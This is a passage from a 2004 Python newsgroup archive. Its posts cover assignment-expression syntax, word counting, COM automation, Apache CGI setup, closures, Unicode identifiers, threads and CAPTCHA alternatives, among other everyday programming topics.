of syntax bugs.  Certainly it is speculation on my part, but it is 
conservative speculation.

All proposed methods that ask to change syntax, deviates from Python 
style, which /may/ introduce more bugs.


> And in fact, the one in the Linux
> kernel shows the opposite of what you're claiming.  It wasn't an
> accidental error that slipped through anything; it was a deliberate
> hole that someone introduced hoping no one would notice, but it was
> noticed immediately, showing that the =/== distinction is less
> difficult to spot than you seem to think.

I never claimed it was difficult to spot.  I claimed it was easy to make 
such a typing mistake.  Certainly the exploit was deliberate, but had 
the linux kernel not been as well audited as it is, the bug may have 
persisted.  In the few thousand lines of C code I wrote during 
undergrad, I know I made a handful of == -> = typing errors.  I expect 
that the occasional slip from one to the other is not uncommon.


> Assignment expressions have been used successfully in C and other
> languages for many years, including plenty of them in the CPython
> code.  It's reasonable to say they're used all the time by some very
> capable programmers and it's impertinent of you to imply that those
> programmers don't know what they're doing.

You seem to like to put words into people's mouths.  I never said that C 
programmers don't know what they are doing when they are using them.  I 
said that it would be easy to mistype, and seeks to solve a "problem" in 
Python that isn't one.


> If you don't like them,
> fine, don't use them, but don't try to convince people who use them
> that they're wrong.

What people do with other langauges, I do not concern myself with.  If 
you want to use while (a = b) in other languages, feel free.  On the 
other hand, when you talk about taking a language that I care about, 
that I use on a daily basis for both work and play, and mangle it with 
what I consider to be useless syntax, I (and everyone else I expect) 
reserve the right to give my opinion.  I never said that its use in 
other languages was wrong, just that I don't want it in Python.  Which 
leads me to:

I think PEP 315 is a waste of bits.  In my opinion, Python doesn't need 
a syntax change for while loops, and those who cannot understand the 
flow of:

while 1:
     #setup
     if <condition to stop>: break
     #loop internals

Are operating on a lower conceptual level than the majority of CS 
undergrads that I teach on a daily basis at UC Irvine.  Now, UCI is a 
decent school, so maybe we are setting the bar too high.  However, the 
above while loop is clearer (even though it is more verbose), than all 
of the suggested syntax changes.


> What's a programming language like Python aiming
> to do, anyway?  Among other things, it aims to make programming
> non-frustrating.  So if a sizeable population of users find that the
> absence of a particular useful feature is actually frustrating, give
> some thought to the idea that the absence really is a shortcoming in
> the language.

I did give some thought to it.  I think the bugs that may occur as a 
result of its availability would be far more frustrating than the 
relatively minor additional typing required for old-style loops.

  - Josiah


From Zabelkind at web.de  Thu Feb  5 21:07:41 2004
From: Zabelkind at web.de (Mathias Mamsch)
Date: Fri, 6 Feb 2004 03:07:41 +0100
Subject: Smart text parsing
Message-ID: <bvusjc$3jf$07$1@news.t-online.com>

Hi,

I got a text with about 1 million words where I want to count words and put
them sorted to a list
like " list = [(most-common-word,1001),(2nd-word,986), ...] "

I think there are at about 10% (about 100.000) different words in the text.

I am wondering if you can give me something faster than my approach:
My first straightforward approach was:
----
s = "Hello this is my 1 million word text".split()

s2 = s.split()
dict = {}
for i in s2:         # the loop needs 10s
        if dict.has_key(i):
                dict[i] += 1
        else:
                dict[i] = 1
list = dict.items()
#   this is slow:
list.sort(lambda x,y: 2*(x[1] < y[1])-1)
----
That works, but i wonder if there is a faster, more elegant way to do this
...

Thanks for you interest,
    Mathias Mamsch




From peter at engcorp.com  Mon Feb  9 15:12:35 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 09 Feb 2004 15:12:35 -0500
Subject: Problems with win32com and IE, WindowState
References: <4a7434de.0402060301.1f66cfa@posting.google.com>
Message-ID: <4027E9B3.F9932099@engcorp.com>

Jan H wrote:
> 
> Background: I am a newbe trying to store the state of an Internet
> Explorer Application with the use of win32.com and python. I use
> python 2.3.
> 
> Problem 1: The state is accessible, but not the hole state. I am
> missing the possibility to retrieve if the IE is minimized or not,
> also known as WindowState for word application. This could be found by
> detecting that the value of top and left is -32000, but will not help
> me in restoring the value to its old value.  I wish to find the
> WindowState for the IE object and if the object is minimized I would
> like to get the Top and Left position of the object if restored.
> 
> Code:
> import win32com.client
> ie=win32com.client.Dispatch('InternetExplorer.Application')
> ie.Visible=1
> 
> Problem 2: Would like to find out if the favourites toolbar is open or
> not. I can not find out how to retrieve this property.

These sound much more like IE- and Windows-specific questions than
anything to do with Python specifically.  I'd suggest checking the
Microsoft msdn pages for more information about the object model
in question, since anything you find there should apply equally
well to Python as it does to VB or C#.

-Peter


From http  Wed Feb 25 15:37:46 2004
From: http (Paul Rubin)
Date: 25 Feb 2004 12:37:46 -0800
Subject: test for raw string
References: <mailman.111.1077726871.8594.python-list@python.org>
Message-ID: <7xznb699ph.fsf@ruckus.brouhaha.com>

John Hunter <jdhunter at ace.bsd.uchicago.edu> writes:
> I have a function that takes a string as an argument.  Is there a way
> to test whether the caller of this function passed in a raw string
> 
> func(r'\hi mom')  # do_x
> func('hi mom')    # do_y

No.  Those are just two different ways of writing the same string.
It's like asking func(3.0) and func(3.00) to do two separate things.


From greeshma at mediaglue.co.jp  Wed Feb 25 01:38:37 2004
From: greeshma at mediaglue.co.jp (Greeshma)
Date: Wed, 25 Feb 2004 15:38:37 +0900
Subject: 'Premature end of script headers' error when starting Apache in
	boot time
Message-ID: <00c001c3fb69$ffd91320$4200a8c0@greeshma1>

Hi all,

I have successfully configured Apache 2.0.4 with RedHat 7.3 
and use Python 2.2.3 for cgi scripts. 
When I start Apache manually through /usr/local/apache/bin/apachectl startssl, 
I can execute the cgi scripts without any problem from the 
browser. This works fine. 

When I put the Apache start line in /etc/rc.local file so that Apache starts automatically at boot time, Apache starts without any problem, and I can access the HTML pages. 
But in case of CGI scripts, I get '500 internal server error' 
on the browser, and 2 errors in the error log '/usr/bin/env: python: No such file or directory, referer: ..' and 'Premature end of script errors'. In both cases, apache runs as root. 
I dont know much about this, but it seemed to be a permission 
problem, so confirmed that 755 is set for my cgibin directory. /usr/local/bin/python also has 755 permissions. 
This has not helped. Its not finding python, but I dont know 
how to fix it. At this point, if I stop Apache and restart it manually, 
everything again works fine. 

Any ideas? Any help would be highly appreciated. 

Rgds 
Greeshma
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From michele.simionato at poste.it  Sun Feb 29 04:37:44 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 29 Feb 2004 01:37:44 -0800
Subject: Feature request: subclassing FunctionType [Was: Some language
	proposals]
References: <95aa1afa.0402262158.5b33de79@posting.google.com>
	<c1qo74$s9j$0@216.39.172.122>
Message-ID: <95aa1afa.0402290137.561d5d08@posting.google.com>

bokr at oz.net (Bengt Richter) wrote in message news:<c1qo74$s9j$0 at 216.39.172.122>...
> But you can generate multiple closures with separate values
> (which maybe your scheme code really is doing?):
> 
>  >>> def make_separate_adders(n):
>  ...     return [(lambda sepval: lambda x: x + sepval)(i) for i in range(n)]
>  ...
>  >>> add0, add1 = make_separate_adders(2)
>  >>> print add0(0) 0
>  >>> print add1(0)
>  1
> 
> Here the lambda being _executed_ as well as _evaluated_ in the list comprehension provides
> the closure environment for the lambda expression only being _evaluated_ (inside the one
> being executed, to generate code looking for sepval). UIAM ;-)
 
Hi Bengt! You reduced your contribution to this list in the
last few months, it is nice to see you back :-)

For what concerns the trick you are talking about, it is the workaround
I often use in this situation. Of course, I don't nest the two lambdas
together and I write something more like

def adder(sepval):
    return lambda x : x + sepval

def make_separate_adders(n):
    return [adder(i) for i in range(n)]

which does the right thing and is readable too. But still it is
easy to forget that the helper function is needed and that using
directly the lambda would not work. It is kind of error prone.
Scheme is less error prone since it uses local loop variables and 
automatically generates separate closures:

(define list-of-adders '())

(let loop ((i 0))
  (set! list-of-adders (cons (lambda (x) (+ x i)) list-of-adders))
  (if (= i 1) 'exit (loop (add1 i))))

(define add1 (first list-of-adders))
(define add0 (second list-of-adders))

(print (add0 0)) ;=> 0
(print (add1 0)) ;=> 1

You can get Python behavior if you explicitely use a global variable:

(define list-of-adders '())
(define i 0)

(let loop ()
  (set! list-of-adders (cons (lambda (x) (+ x i)) list-of-adders))
  (if (= i 1) 'exit (begin (set! i (add1 i)) (loop))))

(define add1 (first list-of-adders))
(define add0 (second list-of-adders))

(print (add0 0)) ;=> 1
(print (add1 0)) ;=> 1

So, in a sense, Python and Scheme have the same scope
rules here, but in Scheme you don't see the issue
because you just use a local variable, whereas
Python by default use a global loop variable.


        Michele Simionato


From tkpmep at hotmail.com  Sun Feb 22 11:58:02 2004
From: tkpmep at hotmail.com (Thomas Philips)
Date: 22 Feb 2004 08:58:02 -0800
Subject: Case sensitive file names
Message-ID: <b4a8ffb6.0402220858.7b9cbfb3@posting.google.com>

When opening a file with file.open(filename,"r") under Windows, I find
that the file name is case sensitive - any error in the case leads to
the file not being found. Is it possible to locate filenames in a
case-insensitive manner under Windows?


From theller at python.net  Mon Feb 23 09:35:23 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 23 Feb 2004 15:35:23 +0100
Subject: pythonservice.exe not found
References: <403A0828.6090808@geochemsource.com>
Message-ID: <u11h7tjo.fsf@python.net>

Gandalf <gandalf at geochemsource.com> writes:

R> Hello! I have installed win32 extensions (version 200) on an XP
> machine. I'm trying to install a new windows service
> (written in python) but I cannot find pythonservice.exe on my hard
> drive. How can I obtain it?
>

There's a zip file in the sourceforge download section
<http://sourceforge.net/projects/pywin32>

Thomas




From jdhunter at ace.bsd.uchicago.edu  Wed Feb 18 13:59:06 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Wed, 18 Feb 2004 12:59:06 -0600
Subject: ANN: matplotlib-0.50 - python plots
In-Reply-To: <pecora-38122F.13150817022004@ra.nrl.navy.mil> (Lou Pecora's
	message of "Tue, 17 Feb 2004 13:15:08 -0500")
References: <mailman.76.1077040599.31398.python-list@python.org>
	<pecora-38122F.13150817022004@ra.nrl.navy.mil>
Message-ID: <m2u11ogqo5.fsf@mother.paradise.lost>

>>>>> "Lou" == Lou Pecora <pecora at anvil.nrl.navy.mil> writes:

    Lou> I checked the web site and maybe I missed it, but I didn't
    Lou> see a list of platforms supported although Red Hat and
    Lou> Windows were mentioned in backend requirements.  In
    Lou> particular, is the Macintosh (OS X) supported?

Most of the matplotlib backends work fine on OS X.  Basically, you
just need to make sure you have the prerequisites for a given backend
installed as described on
http://matplotlib.sourceforge.net/backends.html.  Eg if you want to
use the wx backend, you'll need wxpython, if you want to use the gtk
backend, you'll need to install GTK and pygtk (available with fink),
and so on.

I did have to make a change to setupext.py for the antigrain backend.
If you want to compile antigrain on OS X, set the BUILD_AGG and
BUILD_FONTTOOLS flags in setup.py and replace setupext.py with the
file linked here

  http://nitace.bsd.uchicago.edu:8080/files/share/setupext.py

Let me know how this works,
JDH



From gerrit at nl.linux.org  Tue Feb  3 17:14:04 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 3 Feb 2004 23:14:04 +0100
Subject: OT: Recommended news reader?
In-Reply-To: <4f0a9fdb.0402031309.fde7220@posting.google.com>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
Message-ID: <20040203221404.GA7283@nl.linux.org>

Miki Tebeka wrote:
> Which news reader do you recommend?
> Currently I use Google Groups and find it a bit to dull.

What Operating System?

Note that you can also read it through a list (python-list), which is
what I'm doing, reading it with mutt.

As newsreader I prefer SLRN.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From peter at engcorp.com  Wed Feb 18 18:16:25 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 18:16:25 -0500
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com>
Message-ID: <4033F249.FD73DAB6@engcorp.com>

Aahz wrote:
> 
> With thousands of registrations, you're going to have at least a few
> blind or visually-impaired users.  Bad move.  Instead, ask a question
> that requires intelligence to answer.  (E.g. "What color is the sky?" or
> "What is the third word of the second paragraph?" or "Give me the first
> letter of each word of the following phrase: spam and eggs")

I was thinking this problem shouldn't be very hard, given how
far computers are from passing the Turing Test...  on the other hand,
one difficulty with any of the above is that if the test is fairly 
static, anyone could quickly write a program that would respond 
appropriately and get past this.

One advantage of the image approach is that it is at least more difficult
to get past, both initially for the programmer, and each time from
a computational point of view.  Unfortunately, it really doesn't 
require intelligence per se.

Has no one yet written a nice "engine" which can with relatively
little inconvenience to the user, establish that user's intelligence
(and, most likely, command of one particular spoken language), in
a way that would stand up to programmatic attacks in a more robust
fashion?  What would it take?

It wouldn't be enough just to vary the "third word" part, since once
the pattern is apparent, parsing the text becomes pretty easy.  A 
fixed database of generic questions, such as "what color is the sky"
quickly becomes amenable to what is effectively a dictionary attack.

Other options?  Or pointers to the right keywords to let someone 
investigate the state of the art/literature more closely?

-Peter


From martin at v.loewis.de  Thu Feb 12 02:10:40 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 12 Feb 2004 08:10:40 +0100
Subject: Print formatted Strings with Umlauts
In-Reply-To: <91317660.0402111249.4ccc6e24@posting.google.com>
References: <91317660.0402111249.4ccc6e24@posting.google.com>
Message-ID: <c0f8tb$5iu$05$1@news.t-online.com>

Joerg Lehmann wrote:
> I am using Python 2.2.3 (Fedora Core 1). ...
> I have tried to set the encoding in site.py to 'latin-1', but it did not change
> my results. Is there no way to store umlauts in 1 byte??? 

There is, but Fedora Core 1 does not use it. Instead, it uses an
encoding where an umlaut character needs two bytes (namely, UTF-8).
Changing site.py does not change the way your system represents
these characters.

> What is the right way
> to print strings containing umlauts in a tabular way (same field width)?

As Jeff explains: In the specific case, using Unicode strings would
help. He is also right that, in general, it is very difficult to find
out how many columns a single character uses, as some characters have
width 0, and other characters have width 2 (in a mono-spaced terminal;
for variable-spaced output, adding space characters to achieve
formatting will never work reliably).

Regards,
Martin



From me at privacy.net  Tue Feb 24 08:17:25 2004
From: me at privacy.net (Duncan Booth)
Date: 24 Feb 2004 13:17:25 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
Message-ID: <Xns9499854B482AEduncanrcpcouk@127.0.0.1>

PPNTWIMBXFFC at spammotel.com (Marco Aschwanden) wrote in 
news:15c2d03b.0402240311.395f5382 at posting.google.com:

> I have collected those thoughts. I am sure there are many discussions
> on the "problems" mentioned here. But I had this thoughts without
> looking into any forums or anything... it is kind of feedback.

I think you should spend a bit of time reading the PEPs and the python-dev 
mailing list archives. A lot of what you say has been discussed previously, 
and it would be good if you could take the earlier discussion on board and 
then see where your thoughts lead you.

> 
> *** Problem: clumsy static class methods
> 
This has been widely discussed elsewhere and various solutions have been 
proposed.

> 
> *** Problem: clumsy properties for classes
> 
As for static methods various ways to improve this have been suggested. You 
should read the discussions on python-dev to see the various viewpoints.

> 
> *** Problem: Many builtins are not necessary
> 
> Many builtins are not necessary. To name a few: min / max / len
> 
> This functions should be defined on the class:
> 
> ["I", "like", "Python"].len()
> "I".len()
> {1:"I", "2":"like", 3:"Python"}.len()
> (1,2,3,4).len()

The advantage of min and max as builtins are that they work on any 
sequence. In particular they work on iterators. Having functions that apply 
to an arbitrary sequence avoids a lot of potential code duplication.

> "Throwing away" this builtins would flatten the alreay flat learning
> curve once more (you don't have to learn that many builtins) ... these
> functions belong to the class and they are naturally expected there.
> One weakness of a language as (Visual)Basic, PHP, ... is its payload
> of available functions... Python's OO helps here to diminish the need
> for lots of functions.

There are other builtins I would throw away first. Note that you can't 
actually throw any of these builtins away: one of Pythons great strengths 
are the lengths it goes to to maintain backward compatibility. Some of the 
less useful builtins are being relegated to backwaters of the 
documentation, but they will remain as builtins for the foreseeable future.

> 
> 
> *** Problem: tuples are not necessary
> 
> Throw them away in the long run - for now make them depracted. It is
> hard to argue in favour of tuples. There might to 2 reason:
> 
> 1. It is MUCH faster than a list
> 2. We can't live without an immutable list

Forget the speed and memory difference. The main argument for tuples as a 
separate type are to use as dictionary keys. How do you propose to handle 
dictionary keys without tuples?

> 
> *** Problem: builtins list() dict() ...
> 
> A list, a dictionary, a str, an int, a float are builtin functions...

No they aren't. They are types, not functions.

> 
> myList = list()
> myDict = dict()
> myString = str(45)
> 
> The list-function instantiates a new list... it is actually nothing
> but an overloaded List class. Why are the handed in as functions? In a
> OO environment it should be more the instatiation of a class rather
> than a function and classes start with an uppercase letter:
> 
> myList = List()
> myDict = Dict()
> myString = String(45)
> 

So they don't follow your naming convention. If this is a big problem for 
you, then add some new globals in your own programs. The type 'file' is 
already aliased as 'open'. You can't remove the existing builtins (since 
that would break the library), but there is nothing to stop you adding your 
own either in the __builtin__ module, or as a separate module containing 
your aliases.

FWIW, I agree that the builtins that exist aren't the best choice for type 
names --- too often they collide with the 'obvious' variable names that 
python newcomers choose and then they wonder why their call to 'str' blow 
up when they used a variable 'str' a few lines earlier.


From martin at v.loewis.de  Fri Feb 13 03:49:04 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 13 Feb 2004 09:49:04 +0100
Subject: Allowing non-ASCII identifiers
In-Reply-To: <slrnc2mgue.chs.joe@gate.notcharles.ca>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
	<4027EAC5.2090603@prescod.net> <402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com> <4029177e$1@nntp0.pdx.net>
	<mailman.0.1076542666.698.python-list@python.org>
	<c0f8h6$8e4$01$1@news.t-online.com>
	<slrnc2mgue.chs.joe@gate.notcharles.ca>
Message-ID: <c0i31q$b8p$06$1@news.t-online.com>

Joe Mason wrote:
> If non-ASCII characters are allowed, they'll be used frivolously.
> Somebody will put "et tu, Brut?" in a comment

People can (and do) already put their natural language into comments;
whether or not non-ASCII characters are allowed in identifiers is
irrelevant for that usage.

Also, people don't need "Unicode support" to read those comments.
They just need an editor that can display the character set that
the people wrote their comments in.

Assuming you speak the language in which the comments are written,
you very likely have a text editor which can display them. Or you
use IDLE.

>>Python should not police that decision for the developer.
> 
> 
> Why not?  It polices everything else.  Isn't Python still the "only one
> way to do it" language?

And that wouldn't change: There would be only a single way to do

import resum?

Currently, there is no way, which is less than "only one way".

> If you were suggesting this for Perl or Ruby, I'd be all in favour (in fact,
> it'd be especially apropriate for Ruby).  But in Python it's perfectly
> appropriate to restrict something that many people would find useful in
> favour of simplicity and consistency.

And indeed, using non-ASCII characters in identifiers is simple and
consistent.

Regards,
Martin



From nospam at nopes  Tue Feb  3 21:38:24 2004
From: nospam at nopes (Steve)
Date: Wed, 04 Feb 2004 13:38:24 +1100
Subject: Thread stops!!
In-Reply-To: <mailman.1125.1075729535.12720.python-list@python.org>
References: <mailman.1125.1075729535.12720.python-list@python.org>
Message-ID: <40205b66$1@clarion.carno.net.au>

Yup that's what it's doing. I don't have a class though but I have a 
function where it does a :


while 1:
	doSoemthing()
	sleep(X)


Is that a problem? Please help! Thanks


Steve



Phil Hornby wrote:
> Steve,
> 
> 
>>>I have a multithreaded python script that collects some data
>>>periodically and populates it into a database. For some reason, one of
>>>the thread keeps stopping after running for some while and there's no
>>>failure or any other sign of failure. What can possibly be going wrong?
>>>how can I track this? Is there someway I can find out if ony of the
>>>thread stopped? Please help!!
> 
> 
> A code snippet might help??
> 
> How are you controlling the thread?
> 
> If you are doing something periodically is it something like:
> 
> class myThread(threading.Thread):
> 
> 	def run():
> 
> 		while 1:
> 			#do something
> 			self.dosomething()
> 
> 			sleep(x)
> 
> Is your thread stopping or just 'finishing'? i.e. is the run method getting
> to the end?
> 
> I don't know what environment you are running it in but if you are able to
> see the stdout you could add a simple print statement as the last thing in
> the function to see if it gets there...if so then the problem is in your
> control code, e.g. the events you wait for or the flags you act on.
> 
> HTH
> 
> --
> Phil
> 
> "Requirements - what are they I just hack something together that does what
> I think they want" ;)
> 
> 



From shoot at the.moon  Sun Feb  8 10:22:58 2004
From: shoot at the.moon (Steve Horsley)
Date: Sun, 08 Feb 2004 15:22:58 +0000
Subject: Had Phyton suggested
In-Reply-To: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
Message-ID: <c05k7b$ndl$1@news.freedom2surf.net>

P.C. wrote:
> Hi
> 
> My son like many youngsters been around computers, fast online games, he
> acturly for main part learned to read and write ,beside his second language
> english , and may I say he is quite good at it age 15 ,  but as some of you
> know, 3D games also offer edditors and script options , or rather
> programming choppers and dust clouds in scenes.
> Now beside my bad english, my problem is, that I like him to learn decent
> programming ------- sure I know the best way to learn is looking at source
> code and change a bit here or there to se the actural results, but with his
> knowleage about programming he proberly fail to se how functions work and
> even he made some quite nice effects in the scenes in "Operation falshpoint
> resistance" , I just know that he would profit from learning from buttom up,
> a real programming language.
> Now from an old friend I been advised Phyton, and as I know a bit about
> programming ( Lisp ) , I agrea after checking a few links ; guess Phyton is
> very much C++ like ,so investing in his interests programming scenes for
> games, could be in his faviour .
> Now I agrea that my own knowleage about compilers and more advanced
> programming are limited, and my fear is that I will need some sort of C.
> compiler causing day's and weeks of trouble setting up ------- or what do
> the group think ; my question is, if there today are compilers that is set
> up and work as simple as for instance the first Pascal compilers .
> Well I agrea that my own trouble programming, never been the actural
> programming, but all the silli trouble with compilers, as you se amatures
> don't care if the program spend a bit more memmory ,as long as it work and
> acturly produce compiled code.
> Guess my question is, if it is possible to find a compiler that is fit for
> amatures, one that an amature will not have to fight before it is ready to
> use. One where you ,as when I learned programming , don't need to be a
> compiler specialist before you even learn programming.
> 
> P.C.
> 
> 
Python is an interpreted language, not a compiled one. So you don't need 
to worry about compilers at all. This makes it a little easier to get 
into than compiled languages. I thin python is a very good introduction 
to someone who knows nothing about programming.

At the risk of making a lot of python fans angry, I would also suggest 
that you look at java. This IS a compiled language (although ironically, 
the compiled bytecode is interpreted). I suggest this for a few reasons:
* You cannot really avoid thinking in an object-oriented way when 
writing java. I suspect that python will allow you to develop some very 
nasyt habits.
* The java tutorial is massive, and has loads of examples.
* I have not seen anything like BlueJ for python. BlueJ is an excellent 
beginners IDE with editor, debugger, and a UML-like diagram that shows 
how your classes interconnect.

Better, learn a little of both languages.

Steve


From PPNTWIMBXFFC at spammotel.com  Tue Feb 24 09:46:50 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 24 Feb 2004 06:46:50 -0800
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
Message-ID: <15c2d03b.0402240646.558226ef@posting.google.com>

Don't forget the string-library with its atof-, atoi-, atol-method:

>>> import string
>>> string.atoi('555')
555

Have a nice day,
Marco


From jzgoda at gazeta.usun.pl  Sun Feb  1 04:02:09 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sun, 1 Feb 2004 09:02:09 +0000 (UTC)
Subject: Programmers Wanted for Computer Graphics Startup Near
	Philadelphia
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvh1pt$c3q$3@atlantis.news.tpi.pl>
	<2da21d6c.0401312112.7477793b@posting.google.com>
Message-ID: <bvifag$82f$2@atlantis.news.tpi.pl>

Stan Schwartz <CGStartup at earthlink.net> pisze:

>> > My name is Stan Schwartz, and I'm a University of Pennsylvania 
>> > Ph.D. and an independent inventor.  I'm submitting two computer 
>> > graphics patents to the USPTO during the next several weeks.  
>> 
>> This sounds like one of these emails, you know them:
>> 
>> """
>> DEAR SIR
>> MY NAME IS ANNE-MARIE ABAHA, I AM THE WIFE OF FORMER PRESIDENT SANI
>> ABAHA...
>> """
> 
> There's a copy of my doctoral dissertation in the University of
> Pennsylvania
> library at
> <http://www.franklin.library.upenn.edu/cgi-bin/Pwebrecon.cgi?Search_Arg=Schwartz,%20Stanley,%20M.&SL=None&Search_Code=NAME_&PID=23381&CNT=50&BROWSE=1&HC=1&SID=1>.
>  Is there anything else I said that you want me to prove to you?

Easy, man, relax. It was joke.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From mhammond at skippinet.com.au  Sun Feb  8 17:11:00 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Mon, 09 Feb 2004 09:11:00 +1100
Subject: Python + COM problem. :(
In-Reply-To: <102bnbn155qdp9d@corp.supernews.com>
References: <102bnbn155qdp9d@corp.supernews.com>
Message-ID: <c06c5r$1qe8$1@arachne.labyrinth.net.au>

Ixokai wrote:

> Greetings...
> 
> I'm working on automating Word, and have run into an interesting problem on
> one workstation. If Word is not already running, then I can't run the
> 'Dispatch' to get the word application. On my PC at work, that's not the
> case.

It is a problem specific to that machine then!  Check that there aren't 
any "phantom" word processes still running - use the Task Manager.

Otherwise, use the Office CD to 'repair' the installation.

Mark.



From stardif10 at hotmail.com  Mon Feb  9 01:55:39 2004
From: stardif10 at hotmail.com (Sam)
Date: Mon, 09 Feb 2004 17:55:39 +1100
Subject: Tix on Windows
Message-ID: <40272eda$0$5224$afc38c87@news.optusnet.com.au>

Hey all,

I've been using some Tix widgets while developing on my Slackware box 
recently. When I went to run the code on a Windows machine, the Tix 
module could be imported fine, but I couldn't use any classes from the 
module. I read around a bit and found that no version of Tix had been 
written to work with Windows distribution of Python, and was a bit 
annoyed hehe.

Just wondering if there's any chance of a Tix implementation for the 
Windows version of Python in upcoming releases of Python?

Thanks in advance for any info,
Sam.



From mark at diversiform.com  Thu Feb  5 12:51:06 2004
From: mark at diversiform.com (mark)
Date: Thu, 5 Feb 2004 09:51:06 -0800
Subject: Python can't divide??!?!
In-Reply-To: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
Message-ID: <003f01c3ec10$a216a210$5501a8c0@markxp>

Additionally, I believe there is a typo in the example, as 3.0 / 3
results in 1.0.

- Mark

-----Original Message-----
From: python-list-bounces+mark=diversiform.com at python.org
[mailto:python-list-bounces+mark=diversiform.com at python.org] On Behalf
Of Dan Williams
Sent: Thursday, February 05, 2004 9:45 AM
To: python-list at python.org
Subject: Python can't divide??!?!
Importance: High

Ummmm...

This is weird. Sorry if it's known about (how can it NOT be, I wonder?)
but
I haven't seen any reference to it anywhere.

I'm running the latest Python (2.3.3) on Windows XP Pro, i386
architecture.

Fire up python or whatever.

Do this:     Result:

3 / 5        0                       Fair enough, int / int = int
3 / 5.0      0.59999999999999998     eh?
3.0 / 3      0.59999999999999998     ummmm...
3.0 / 5.0    0.59999999999999998     how did I guess...

That's just an example. Python cannot divide. Period. If you try 1.0 / 3
you
get 0.33333333333333331, and from this, the above example, and a few
tests,
I speculate that *something* is subtracting 2 from the last digit
*after*
the division is done.

Wacky.

Now, is this just me, or can someone else duplicate it? I've tried it on
two
computers here, but they're both Win XP. I'm about to test it on Linux
but I
figured I'd write this first.

Dan



-- 
http://mail.python.org/mailman/listinfo/python-list





From grisha at dontspam.me.modpython.org  Fri Feb 27 18:28:23 2004
From: grisha at dontspam.me.modpython.org (Gregory (Grisha) Trubetskoy)
Date: Fri, 27 Feb 2004 18:28:23 -0500
Subject: Python scripts in IIS
In-Reply-To: <2c60a528.0402260147.42b9e635@posting.google.com>
References: <mailman.109.1077725992.8594.python-list@python.org>
	<2c60a528.0402260147.42b9e635@posting.google.com>
Message-ID: <20040227182627.K16585@onyx.ispol.com>



On Thu, 26 Feb 2004, Andrew Clover wrote:

> I can't agree with this at all. CGI is the only standard we can
> currently use to write cross-platform scripts. ASP is fine if you want
> to be locked to IIS; coding to mod_python limits you to Apache.

But Apache *is* corss-platform?

Grisha


From SBrunning at trisystems.co.uk  Tue Feb  3 06:07:26 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Tue, 3 Feb 2004 11:07:26 -0000 
Subject: get logical drives and their type
Message-ID: <31575A892FF6D1118F5800600846864D01200F0D@intrepid>

> From: JZ [mailto:cy.fbp.eryvtvne at ncbybtrglxn.pbz]
> 
> There are two usefull functions implemented in Windows:
> http://msdn.microsoft.com/library/en-us/fileio/base/getdrivetype.asp
> http://msdn.microsoft.com/library/en-us/fileio/base/getlogical
> drivestrings.asp
> 
> Do anywhone know if they are implemented in Python? I could not find
> them in sys, os, os.path...

See
http://groups.google.com/groups?selm=mailman.1011113008.15423.python-list%40
python.org.

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/
--LongSig




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From edcjones at erols.com  Wed Feb 18 17:19:30 2004
From: edcjones at erols.com (Edward C. Jones)
Date: Wed, 18 Feb 2004 17:19:30 -0500
Subject: Pickle vs. eval for deeply nested objects
Message-ID: <4033e5f4$0$3086$61fed72c@news.rcn.com>

Here is a little piece of Python that produces a deeply nested tuple:

deep = 'x'
for i in range(50):
     deep = (deep,)

This is a perfectly ordinary Python object. It can be pickled and unpickled:

s = cPickle.dumps(deep)
deep2 = cPickle.loads(s)

But "eval" (and "compiler.parse") fail on "str(deep)" because some stack 
gets too big. Is there some deep reason why cPickle can reconstruct 
"deep" from a string while eval can't?


From dave at pythonapocrypha.com  Tue Feb 17 15:34:03 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 17 Feb 2004 13:34:03 -0700
Subject: Python Productivity Gain?
Message-ID: <08b901c3f595$61ef22a0$6401fea9@YODA>

kbass wrote:
> IMHO, the overall productivity gain of any programming language comes from
> the programmers that are programming in the language. Productivity gain
> comes from individuals and is not language based.

Really? As in, you'll be just as productive programming in pure assembly as you
would in Python?

I'd go the complete other direction and say that a lot of productivity gains
_can_ come from the programmer (talent/aptitude, etc), but a huge amount of it
can come from the language itself (likewise, the language itself can be a huge
productivity loss).

Consider, for example, how powerful it is to have a builtin mapping type
(Python's dictionary) or all the list functionality. I don't care if you're the
world's greatest BASIC programmer, odds are that even a novice Pythonista can
run circles around you if you are both tasked with solving a problem to which
dictionaries or lists are well-suited.

-Dave




From jcarlson at nospam.uci.edu  Mon Feb  2 22:24:35 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 19:24:35 -0800
Subject: How do I overload 'equals'?
